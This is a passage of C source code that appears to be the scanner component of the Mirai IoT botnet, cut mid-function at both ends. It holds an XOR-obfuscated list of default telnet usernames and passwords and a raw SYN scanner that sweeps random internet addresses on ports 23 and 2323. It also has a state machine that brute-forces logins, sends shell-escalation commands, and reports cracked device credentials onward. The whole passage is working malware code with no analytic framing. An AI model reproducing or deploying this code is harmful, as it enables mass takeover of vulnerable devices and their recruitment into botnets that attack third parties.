add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x1A\\x1A\\x1A\\x1A\\x1A\\x1A\", 6);                      // root     888888\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x5A\\x4F\\x4A\\x46\\x4B\\x52\\x41\", 5);                  // root     xmhdipc\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x46\\x47\\x44\\x43\\x57\\x4E\\x56\", 5);                  // root     default\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x48\\x57\\x43\\x4C\\x56\\x47\\x41\\x4A\", 5);              // root     juantech\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x13\\x10\\x11\\x16\\x17\\x14\", 5);                      // root     123456\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x17\\x16\\x11\\x10\\x13\", 5);                          // root     54321\n    add_auth_entry(\"\\x51\\x57\\x52\\x52\\x4D\\x50\\x56\", \"\\x51\\x57\\x52\\x52\\x4D\\x50\\x56\", 5);      // support  support\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\", 4);                                              // root     (none)\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\", \"\\x52\\x43\\x51\\x51\\x55\\x4D\\x50\\x46\", 4);          // admin    password\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x50\\x4D\\x4D\\x56\", 4);                              // root     root\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x13\\x10\\x11\\x16\\x17\", 4);                          // root     12345\n    add_auth_entry(\"\\x57\\x51\\x47\\x50\", \"\\x57\\x51\\x47\\x50\", 3);                              // user     user\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\", \"\", 3);                                          // admin    (none)\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x52\\x43\\x51\\x51\", 3);                              // root     pass\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\", \"\\x43\\x46\\x4F\\x4B\\x4C\\x13\\x10\\x11\\x16\", 3);      // admin    admin1234\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x13\\x13\\x13\\x13\", 3);                              // root     1111\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\", \"\\x51\\x4F\\x41\\x43\\x46\\x4F\\x4B\\x4C\", 3);          // admin    smcadmin\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\", \"\\x13\\x13\\x13\\x13\", 2);                          // admin    1111\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x14\\x14\\x14\\x14\\x14\\x14\", 2);                      // root     666666\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x52\\x43\\x51\\x51\\x55\\x4D\\x50\\x46\", 2);              // root     password\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x13\\x10\\x11\\x16\", 2);                              // root     1234\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x49\\x4E\\x54\\x13\\x10\\x11\", 1);                      // root     klv123\n    add_auth_entry(\"\\x63\\x46\\x4F\\x4B\\x4C\\x4B\\x51\\x56\\x50\\x43\\x56\\x4D\\x50\", \"\\x4F\\x47\\x4B\\x4C\\x51\\x4F\", 1); // Administrator admin\n    add_auth_entry(\"\\x51\\x47\\x50\\x54\\x4B\\x41\\x47\", \"\\x51\\x47\\x50\\x54\\x4B\\x41\\x47\", 1);      // service  service\n    add_auth_entry(\"\\x51\\x57\\x52\\x47\\x50\\x54\\x4B\\x51\\x4D\\x50\", \"\\x51\\x57\\x52\\x47\\x50\\x54\\x4B\\x51\\x4D\\x50\", 1); // supervisor supervisor\n    add_auth_entry(\"\\x45\\x57\\x47\\x51\\x56\", \"\\x45\\x57\\x47\\x51\\x56\", 1);                      // guest    guest\n    add_auth_entry(\"\\x45\\x57\\x47\\x51\\x56\", \"\\x13\\x10\\x11\\x16\\x17\", 1);                      // guest    12345\n    add_auth_entry(\"\\x45\\x57\\x47\\x51\\x56\", \"\\x13\\x10\\x11\\x16\\x17\", 1);                      // guest    12345\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\\x13\", \"\\x52\\x43\\x51\\x51\\x55\\x4D\\x50\\x46\", 1);      // admin1   password\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\\x4B\\x51\\x56\\x50\\x43\\x56\\x4D\\x50\", \"\\x13\\x10\\x11\\x16\", 1); // administrator 1234\n    add_auth_entry(\"\\x14\\x14\\x14\\x14\\x14\\x14\", \"\\x14\\x14\\x14\\x14\\x14\\x14\", 1);              // 666666   666666\n    add_auth_entry(\"\\x1A\\x1A\\x1A\\x1A\\x1A\\x1A\", \"\\x1A\\x1A\\x1A\\x1A\\x1A\\x1A\", 1);              // 888888   888888\n    add_auth_entry(\"\\x57\\x40\\x4C\\x56\", \"\\x57\\x40\\x4C\\x56\", 1);                              // ubnt     ubnt\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x49\\x4E\\x54\\x13\\x10\\x11\\x16\", 1);                  // root     klv1234\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x78\\x56\\x47\\x17\\x10\\x13\", 1);                      // root     Zte521\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x4A\\x4B\\x11\\x17\\x13\\x1A\", 1);                      // root     hi3518\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x48\\x54\\x40\\x58\\x46\", 1);                          // root     jvbzd\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x43\\x4C\\x49\\x4D\", 4);                              // root     anko\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x58\\x4E\\x5A\\x5A\\x0C\", 1);                          // root     zlxx.\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x15\\x57\\x48\\x6F\\x49\\x4D\\x12\\x54\\x4B\\x58\\x5A\\x54\", 1); // root     7ujMko0vizxv\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x15\\x57\\x48\\x6F\\x49\\x4D\\x12\\x43\\x46\\x4F\\x4B\\x4C\", 1); // root     7ujMko0admin\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x51\\x5B\\x51\\x56\\x47\\x4F\", 1);                      // root     system\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x4B\\x49\\x55\\x40\", 1);                              // root     ikwb\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x46\\x50\\x47\\x43\\x4F\\x40\\x4D\\x5A\", 1);              // root     dreambox\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x57\\x51\\x47\\x50\", 1);                              // root     user\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x50\\x47\\x43\\x4E\\x56\\x47\\x49\", 1);                  // root     realtek\n    add_auth_entry(\"\\x50\\x4D\\x4D\\x56\", \"\\x12\\x12\\x12\\x12\\x12\\x12\\x12\\x12\", 1);              // root     00000000\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\", \"\\x13\\x13\\x13\\x13\\x13\\x13\\x13\", 1);              // admin    1111111\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\", \"\\x13\\x10\\x11\\x16\", 1);                          // admin    1234\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\", \"\\x13\\x10\\x11\\x16\\x17\", 1);                      // admin    12345\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\", \"\\x17\\x16\\x11\\x10\\x13\", 1);                      // admin    54321\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\", \"\\x13\\x10\\x11\\x16\\x17\\x14\", 1);                  // admin    123456\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\", \"\\x15\\x57\\x48\\x6F\\x49\\x4D\\x12\\x43\\x46\\x4F\\x4B\\x4C\", 1); // admin    7ujMko0admin\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\", \"\\x16\\x11\\x10\\x13\", 1);                          // admin    1234\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\", \"\\x52\\x43\\x51\\x51\", 1);                          // admin    pass\n    add_auth_entry(\"\\x43\\x46\\x4F\\x4B\\x4C\", \"\\x4F\\x47\\x4B\\x4C\\x51\\x4F\", 1);                  // admin    meinsm\n    add_auth_entry(\"\\x56\\x47\\x41\\x4A\", \"\\x56\\x47\\x41\\x4A\", 1);                              // tech     tech\n    add_auth_entry(\"\\x4F\\x4D\\x56\\x4A\\x47\\x50\", \"\\x44\\x57\\x41\\x49\\x47\\x50\", 1);              // mother   fucker\n\n\n#ifdef DEBUG\n    printf(\"[scanner] Scanner process initialized. Scanning started.\\n\");\n#endif\n\n    // Main logic loop\n    while (TRUE)\n    {\n        fd_set fdset_rd, fdset_wr;\n        struct scanner_connection *conn;\n        struct timeval tim;\n        int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;\n\n        // Spew out SYN to try and get a response\n        if (fake_time != last_spew)\n        {\n            last_spew = fake_time;\n\n            for (i = 0; i < SCANNER_RAW_PPS; i++)\n            {\n                struct sockaddr_in paddr = {0};\n                struct iphdr *iph = (struct iphdr *)scanner_rawpkt;\n                struct tcphdr *tcph = (struct tcphdr *)(iph + 1);\n\n                iph->id = rand_next();\n                iph->saddr = LOCAL_ADDR;\n                iph->daddr = get_random_ip();\n                iph->check = 0;\n                iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));\n\n                if (i % 10 == 0)\n                {\n                    tcph->dest = htons(2323);\n                }\n                else\n                {\n                    tcph->dest = htons(23);\n                }\n                tcph->seq = iph->daddr;\n                tcph->check = 0;\n                tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));\n\n                paddr.sin_family = AF_INET;\n                paddr.sin_addr.s_addr = iph->daddr;\n                paddr.sin_port = tcph->dest;\n\n                sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));\n            }\n        }\n\n        // Read packets from raw socket to get SYN+ACKs\n        last_avail_conn = 0;\n        while (TRUE)\n        {\n            int n;\n            char dgram[1514];\n            struct iphdr *iph = (struct iphdr *)dgram;\n            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);\n            struct scanner_connection *conn;\n\n            errno = 0;\n            n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);\n            if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)\n                break;\n\n            if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))\n                continue;\n            if (iph->daddr != LOCAL_ADDR)\n                continue;\n            if (iph->protocol != IPPROTO_TCP)\n                continue;\n            if (tcph->source != htons(23) && tcph->source != htons(2323))\n                continue;\n            if (tcph->dest != source_port)\n                continue;\n            if (!tcph->syn)\n                continue;\n            if (!tcph->ack)\n                continue;\n            if (tcph->rst)\n                continue;\n            if (tcph->fin)\n                continue;\n            if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)\n                continue;\n\n            conn = NULL;\n            for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)\n            {\n                if (conn_table[n].state == SC_CLOSED)\n                {\n                    conn = &conn_table[n];\n                    last_avail_conn = n;\n                    break;\n                }\n            }\n\n            // If there were no slots, then no point reading any more\n            if (conn == NULL)\n                break;\n\n            conn->dst_addr = iph->saddr;\n            conn->dst_port = tcph->source;\n            setup_connection(conn);\n#ifdef DEBUG\n            printf(\"[scanner] FD%d Attempting to brute found IP %d.%d.%d.%d\\n\", conn->fd, iph->saddr & 0xff, (iph->saddr >> 8) & 0xff, (iph->saddr >> 16) & 0xff, (iph->saddr >> 24) & 0xff);\n#endif\n        }\n\n        // Load file descriptors into fdsets\n        FD_ZERO(&fdset_rd);\n        FD_ZERO(&fdset_wr);\n        for (i = 0; i < SCANNER_MAX_CONNS; i++)\n        {\n            int timeout;\n\n            conn = &conn_table[i];\n            timeout = (conn->state > SC_CONNECTING ? 30 : 5);\n\n            if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)\n            {\n#ifdef DEBUG\n                printf(\"[scanner] FD%d timed out (state = %d)\\n\", conn->fd, conn->state);\n#endif\n                close(conn->fd);\n                conn->fd = -1;\n\n                // Retry\n                if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again\n                {\n                    if (++(conn->tries) == 10)\n                    {\n                        conn->tries = 0;\n                        conn->state = SC_CLOSED;\n                    }\n                    else\n                    {\n                        setup_connection(conn);\n#ifdef DEBUG\n                        printf(\"[scanner] FD%d retrying with different auth combo!\\n\", conn->fd);\n#endif\n                    }\n                }\n                else\n                {\n                    conn->tries = 0;\n                    conn->state = SC_CLOSED;\n                }\n                continue;\n            }\n\n            if (conn->state == SC_CONNECTING)\n            {\n                FD_SET(conn->fd, &fdset_wr);\n                if (conn->fd > mfd_wr)\n                    mfd_wr = conn->fd;\n            }\n            else if (conn->state != SC_CLOSED)\n            {\n                FD_SET(conn->fd, &fdset_rd);\n                if (conn->fd > mfd_rd)\n                    mfd_rd = conn->fd;\n            }\n        }\n\n        tim.tv_usec = 0;\n        tim.tv_sec = 1;\n        nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);\n        fake_time = time(NULL);\n\n        for (i = 0; i < SCANNER_MAX_CONNS; i++)\n        {\n            conn = &conn_table[i];\n\n            if (conn->fd == -1)\n                continue;\n\n            if (FD_ISSET(conn->fd, &fdset_wr))\n            {\n                int err = 0, ret = 0;\n                socklen_t err_len = sizeof (err);\n\n                ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);\n                if (err == 0 && ret == 0)\n                {\n                    conn->state = SC_HANDLE_IACS;\n                    conn->auth = random_auth_entry();\n                    conn->rdbuf_pos = 0;\n#ifdef DEBUG\n                    printf(\"[scanner] FD%d connected. Trying %s:%s\\n\", conn->fd, conn->auth->username, conn->auth->password);\n#endif\n                }\n                else\n                {\n#ifdef DEBUG\n                    printf(\"[scanner] FD%d error while connecting = %d\\n\", conn->fd, err);\n#endif\n                    close(conn->fd);\n                    conn->fd = -1;\n                    conn->tries = 0;\n                    conn->state = SC_CLOSED;\n                    continue;\n                }\n            }\n\n            if (FD_ISSET(conn->fd, &fdset_rd))\n            {\n                while (TRUE)\n                {\n                    int ret;\n\n                    if (conn->state == SC_CLOSED)\n                        break;\n\n                    if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)\n                    {\n                        memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);\n                        conn->rdbuf_pos -= SCANNER_HACK_DRAIN;\n                    }\n                    errno = 0;\n                    ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);\n                    if (ret == 0)\n                    {\n#ifdef DEBUG\n                        printf(\"[scanner] FD%d connection gracefully closed\\n\", conn->fd);\n#endif\n                        errno = ECONNRESET;\n                        ret = -1; // Fall through to closing connection below\n                    }\n                    if (ret == -1)\n                    {\n                        if (errno != EAGAIN && errno != EWOULDBLOCK)\n                        {\n#ifdef DEBUG\n                            printf(\"[scanner] FD%d lost connection\\n\", conn->fd);\n#endif\n                            close(conn->fd);\n                            conn->fd = -1;\n\n                            // Retry\n                            if (++(conn->tries) >= 10)\n                            {\n                                conn->tries = 0;\n                                conn->state = SC_CLOSED;\n                            }\n                            else\n                            {\n                                setup_connection(conn);\n#ifdef DEBUG\n                                printf(\"[scanner] FD%d retrying with different auth combo!\\n\", conn->fd);\n#endif\n                            }\n                        }\n                        break;\n                    }\n                    conn->rdbuf_pos += ret;\n                    conn->last_recv = fake_time;\n\n                    while (TRUE)\n                    {\n                        int consumed = 0;\n\n                        switch (conn->state)\n                        {\n                        case SC_HANDLE_IACS:\n                            if ((consumed = consume_iacs(conn)) > 0)\n                            {\n                                conn->state = SC_WAITING_USERNAME;\n#ifdef DEBUG\n                                printf(\"[scanner] FD%d finished telnet negotiation\\n\", conn->fd);\n#endif\n                            }\n                            break;\n                        case SC_WAITING_USERNAME:\n                            if ((consumed = consume_user_prompt(conn)) > 0)\n                            {\n                                send(conn->fd, conn->auth->username, conn->auth->username_len, MSG_NOSIGNAL);\n                                send(conn->fd, \"\\r\\n\", 2, MSG_NOSIGNAL);\n                                conn->state = SC_WAITING_PASSWORD;\n#ifdef DEBUG\n                                printf(\"[scanner] FD%d received username prompt\\n\", conn->fd);\n#endif\n                            }\n                            break;\n                        case SC_WAITING_PASSWORD:\n                            if ((consumed = consume_pass_prompt(conn)) > 0)\n                            {\n#ifdef DEBUG\n                                printf(\"[scanner] FD%d received password prompt\\n\", conn->fd);\n#endif\n\n                                // Send password\n                                send(conn->fd, conn->auth->password, conn->auth->password_len, MSG_NOSIGNAL);\n                                send(conn->fd, \"\\r\\n\", 2, MSG_NOSIGNAL);\n\n                                conn->state = SC_WAITING_PASSWD_RESP;\n                            }\n                            break;\n                        case SC_WAITING_PASSWD_RESP:\n                            if ((consumed = consume_any_prompt(conn)) > 0)\n                            {\n                                char *tmp_str;\n                                int tmp_len;\n\n#ifdef DEBUG\n                                printf(\"[scanner] FD%d received shell prompt\\n\", conn->fd);\n#endif\n\n                                // Send enable / system / shell / sh to session to drop into shell if needed\n                                table_unlock_val(TABLE_SCAN_ENABLE);\n                                tmp_str = table_retrieve_val(TABLE_SCAN_ENABLE, &tmp_len);\n                                send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);\n                                send(conn->fd, \"\\r\\n\", 2, MSG_NOSIGNAL);\n                                table_lock_val(TABLE_SCAN_ENABLE);\n                                conn->state = SC_WAITING_ENABLE_RESP;\n                            }\n                            break;\n                        case SC_WAITING_ENABLE_RESP:\n                            if ((consumed = consume_any_prompt(conn)) > 0)\n                            {\n                                char *tmp_str;\n                                int tmp_len;\n\n#ifdef DEBUG\n                                printf(\"[scanner] FD%d received sh prompt\\n\", conn->fd);\n#endif\n\n                                table_unlock_val(TABLE_SCAN_SYSTEM);\n                                tmp_str = table_retrieve_val(TABLE_SCAN_SYSTEM, &tmp_len);\n                                send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);\n                                send(conn->fd, \"\\r\\n\", 2, MSG_NOSIGNAL);\n                                table_lock_val(TABLE_SCAN_SYSTEM);\n\n                                conn->state = SC_WAITING_SYSTEM_RESP;\n                            }\n                            break;\n\t\t\tcase SC_WAITING_SYSTEM_RESP:\n                            if ((consumed = consume_any_prompt(conn)) > 0)\n                            {\n                                char *tmp_str;\n                                int tmp_len;\n\n#ifdef DEBUG\n                                printf(\"[scanner] FD%d received sh prompt\\n\", conn->fd);\n#endif\n\n                                table_unlock_val(TABLE_SCAN_SHELL);\n                                tmp_str = table_retrieve_val(TABLE_SCAN_SHELL, &tmp_len);\n                                send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);\n                                send(conn->fd, \"\\r\\n\", 2, MSG_NOSIGNAL);\n                                table_lock_val(TABLE_SCAN_SHELL);\n\n                                conn->state = SC_WAITING_SHELL_RESP;\n                            }\n                            break;\n                        case SC_WAITING_SHELL_RESP:\n                            if ((consumed = consume_any_prompt(conn)) > 0)\n                            {\n                                char *tmp_str;\n                                int tmp_len;\n\n#ifdef DEBUG\n                                printf(\"[scanner] FD%d received enable prompt\\n\", conn->fd);\n#endif\n\n                                table_unlock_val(TABLE_SCAN_SH);\n                                tmp_str = table_retrieve_val(TABLE_SCAN_SH, &tmp_len);\n                                send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);\n                                send(conn->fd, \"\\r\\n\", 2, MSG_NOSIGNAL);\n                                table_lock_val(TABLE_SCAN_SH);\n\n                                conn->state = SC_WAITING_SH_RESP;\n                            }\n                            break;\n                        case SC_WAITING_SH_RESP:\n                            if ((consumed = consume_any_prompt(conn)) > 0)\n                            {\n                                char *tmp_str;\n                                int tmp_len;\n\n#ifdef DEBUG\n                                printf(\"[scanner] FD%d received sh prompt\\n\", conn->fd);\n#endif\n\n                                // Send query string\n                                table_unlock_val(TABLE_SCAN_QUERY);\n                                tmp_str = table_retrieve_val(TABLE_SCAN_QUERY, &tmp_len);\n                                send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);\n                                send(conn->fd, \"\\r\\n\", 2, MSG_NOSIGNAL);\n                                table_lock_val(TABLE_SCAN_QUERY);\n\n                                conn->state = SC_WAITING_TOKEN_RESP;\n                            }\n                            break;\n                        case SC_WAITING_TOKEN_RESP:\n                            consumed = consume_resp_prompt(conn);\n                            if (consumed == -1)\n                            {\n#ifdef DEBUG\n                                printf(\"[scanner] FD%d invalid username/password combo\\n\", conn->fd);\n#endif\n                                close(conn->fd);\n                                conn->fd = -1;\n\n                                // Retry\n                                if (++(conn->tries) == 10)\n                                {\n                                    conn->tries = 0;\n                                    conn->state = SC_CLOSED;\n                                }\n                                else\n                                {\n                                    setup_connection(conn);\n#ifdef DEBUG\n                                    printf(\"[scanner] FD%d retrying with different auth combo!\\n\", conn->fd);\n#endif\n                                }\n                            }\n                            else if (consumed > 0)\n                            {\n                                char *tmp_str;\n                                int tmp_len;\n#ifdef DEBUG\n                                printf(\"[scanner] FD%d Found verified working telnet\\n\", conn->fd);\n#endif\n                                report_working(conn->dst_addr, conn->dst_port, conn->auth);\n                                close(conn->fd);\n                                conn->fd = -1;\n                                conn->state = SC_CLOSED;\n                            }\n                            break;\n                        default:\n                            consumed = 0;\n                            break;\n                        }\n\n                        // If no data was consumed, move on\n                        if (consumed == 0)\n                            break;\n                        else\n                        {\n                            if (consumed > conn->rdbuf_pos)\n                                consumed = conn->rdbuf_pos;\n\n                            conn->rdbuf_pos -= consumed;\n                            memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);\n                        }\n                    }\n                }\n            }\n        }\n    }\n}\n\nvoid scanner_kill(void)\n{\n    kill(scanner_pid, 9);\n}\n\nstatic void setup_connection(struct scanner_connection *conn)\n{\n    struct sockaddr_in addr = {0};\n\n    if (conn->fd != -1)\n        close(conn->fd);\n    if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n    {\n#ifdef DEBUG\n        printf(\"[scanner] Failed to call socket()\\n\");\n#endif\n        return;\n    }\n\n    conn->rdbuf_pos = 0;\n    util_zero(conn->rdbuf, sizeof(conn->rdbuf));\n\n    fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));\n\n    addr.sin_family = AF_INET;\n    addr.sin_addr.s_addr = conn->dst_addr;\n    addr.sin_port = conn->dst_port;\n\n    conn->last_recv = fake_time;\n    conn->state = SC_CONNECTING;\n    connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));\n}\n\nstatic ipv4_t get_random_ip(void)\n{\n    uint32_t tmp;\n    uint8_t o1, o2, o3, o4;\n\n    do\n    {\n        tmp = rand_next();\n\n        o1 = tmp & 0xff;\n        o2 = (tmp >> 8) & 0xff;\n        o3 = (tmp >> 16) & 0xff;\n        o4 = (tmp >> 24) & 0xff;\n    }\n    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback\n          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space\n          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company\n          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company\n          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service\n          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network\n          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network\n          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network\n          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved\n          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved\n          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use\n          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast\n          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense\n    );\n\n    return INET_ADDR(o1,o2,o3,o4);\n}\n\nstatic int consume_iacs(struct scanner_connection *conn)\n{\n    int consumed = 0;\n    uint8_t *ptr = conn->rdbuf;\n\n    while (consumed < conn->rdbuf_pos)\n    {\n        int i;\n\n        if (*ptr != 0xff)\n            break;\n        else if (*ptr == 0xff)\n        {\n            if (!can_consume(conn, ptr, 1))\n                break;\n            if (ptr[1] == 0xff)\n            {\n                ptr += 2;\n                consumed += 2;\n                continue;\n            }\n            else if (ptr[1] == 0xfd)\n            {\n                uint8_t tmp1[3] = {255, 251, 31};\n                uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};\n\n                if (!can_consume(conn, ptr, 2))\n                    break;\n                if (ptr[2] != 31)\n                    goto iac_wont;\n\n                ptr += 3;\n                consumed += 3;\n\n                send(conn->fd, tmp1, 3, MSG_NOSIGNAL);\n                send(conn->fd, tmp2, 9, MSG_NOSIGNAL);\n            }\n            else\n            {\n                iac_wont:\n\n                if (!can_consume(conn, ptr, 2))\n                    break;\n\n                for (i = 0; i < 3; i++)\n                {\n                    if (ptr[i] == 0xfd)\n                        ptr[i] = 0xfc;\n                    else if (ptr[i] == 0xfb)\n                        ptr[i] = 0xfd;\n                }\n\n                send(conn->fd, ptr, 3, MSG_NOSIGNAL);\n                ptr += 3;\n                consumed += 3;\n            }\n        }\n    }\n\n    return consumed;\n}\n\nstatic int consume_any_prompt(struct scanner_connection *conn)\n{\n    char *pch;\n    int i, prompt_ending = -1;\n\n    for (i = conn->rdbuf_pos - 1; i > 0; i--)\n    {\n        if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')\n        {\n            prompt_ending = i + 1;\n            break;\n        }\n    }\n\n    if (prompt_ending == -1)\n        return 0;\n    else\n        return prompt_ending;\n}\n\nstatic int consume_user_prompt(struct scanner_connection *conn)\n{\n    char *pch;\n    int i, prompt_ending = -1;\n\n    for (i = conn->rdbuf_pos - 1; i > 0; i--)\n    {\n        if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')\n        {\n            prompt_ending = i + 1;\n            break;\n        }\n    }\n\n    if (prompt_ending == -1)\n    {\n        int tmp;\n\n        if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, \"ogin\", 4)) != -1)\n            prompt_ending = tmp;\n        else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, \"enter\", 5)) != -1)\n            prompt_ending = tmp;\n    }\n\n    if (prompt_ending == -1)\n        return 0;\n    else\n        return prompt_ending;\n}\n\nstatic int consume_pass_prompt(struct scanner_connection *conn)\n{\n    char *pch;\n    int i, prompt_ending = -1;\n\n    for (i = conn->rdbuf_pos - 1; i > 0; i--)\n    {\n        if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#')\n        {\n            prompt_ending = i + 1;\n            break;\n        }\n    }\n\n    if (prompt_ending == -1)\n    {\n        int tmp;\n\n        if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, \"assword\", 7)) != -1)\n            prompt_ending = tmp;\n    }\n\n    if (prompt_ending == -1)\n        return 0;\n    else\n        return prompt_ending;\n}\n\nstatic int consume_resp_prompt(struct scanner_connection *conn)\n{\n    char *tkn_resp;\n    int prompt_ending, len;\n\n    table_unlock_val(TABLE_SCAN_NCORRECT);\n    tkn_resp = table_retrieve_val(TABLE_SCAN_NCORRECT, &len);\n    if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1) != -1)\n    {\n        table_lock_val(TABLE_SCAN_NCORRECT);\n        return -1;\n    }\n    table_lock_val(TABLE_SCAN_NCORRECT);\n\n    table_unlock_val(TABLE_SCAN_RESP);\n    tkn_resp = table_retrieve_val(TABLE_SCAN_RESP, &len);\n    prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1);\n    table_lock_val(TABLE_SCAN_RESP);\n\n    if (prompt_ending == -1)\n        return 0;\n    else\n        return prompt_ending;\n}\n\nstatic void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight)\n{\n    int tmp;\n\n    auth_table = realloc(auth_table, (auth_table_len + 1) * sizeof (struct scanner_auth));\n    auth_table[auth_table_len].username = deobf(enc_user, &tmp);\n    auth_table[auth_table_len].username_len = (uint8_t)tmp;\n    auth_table[auth_table_len].password = deobf(enc_pass, &tmp);\n    auth_table[auth_table_len].password_len = (uint8_t)tmp;\n    auth_table[auth_table_len].weight_min = auth_table_max_weight;\n    auth_table[auth_table_len++].weight_max = auth_table_max_weight + weight;\n    auth_table_max_weight += weight;\n}\n\nstatic struct scanner_auth *random_auth_entry(void)\n{\n    int i;\n    uint16_t r = (uint16_t)(rand_next() % auth_table_max_weight);\n\n    for (i = 0; i < auth_table_len; i++)\n    {\n        if (r < auth_table[i].weight_min)\n            